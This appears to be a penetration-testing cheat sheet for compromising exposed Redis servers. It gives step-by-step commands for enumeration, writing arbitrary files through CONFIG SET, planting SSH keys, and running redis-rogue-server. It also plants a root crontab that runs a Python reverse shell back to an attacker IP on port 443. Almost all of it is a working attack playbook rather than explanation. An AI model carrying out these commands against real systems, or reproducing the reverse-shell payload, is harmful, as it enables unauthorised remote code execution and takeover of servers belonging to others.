Enumeration

Mandatory

1. Try to con­nect:
   telnet $target 6379 // or: redis-cli -h $target
...
info
CONFIG GET *
system.exec "id"
2. Try to check if you can deter­mine the exis­tence of direc­to­ries.
   config set dir /var/www/htdocs
-ERR Changing directory: No such file or directory
config set dir /etc
+OK
3. Try to write.
   1. Gen­er­al com­mands:
      config set dir /var/www/html
+OK
config set dbfilename t.txt
+OK
set test "hallo"
+OK
save
+OK
   2. Pos­si­ble places:
      1. Upload a SSH key (think also to the redis user).
      2. Upload a reverse shell file
      3. Upload a crontab file
         config set dir /var/spool/cron/crontabs/
+OK
config set dbfilename root
+OK
set test "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.91\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
+OK
save
+OK
4. Try to use the redis-rougue-server:
   1. Com­pile the redis exe­cu­tion mod­ule. make will cre­ate src/module.so.
   2. Clone the redis-rogue-server.
   3. Copy the module.so into the server’s direc­to­ry as exp.so.
   4. Exe­cute:
      python3 redis-rogue-server.py --rhost $target --rport 6379 --lhost 192.168.49.91 --lport 443

Optional

• Try to upload an SSH key
• Try to set a Redis slave to sync all data to an own sys­tem, add data and push it to the master.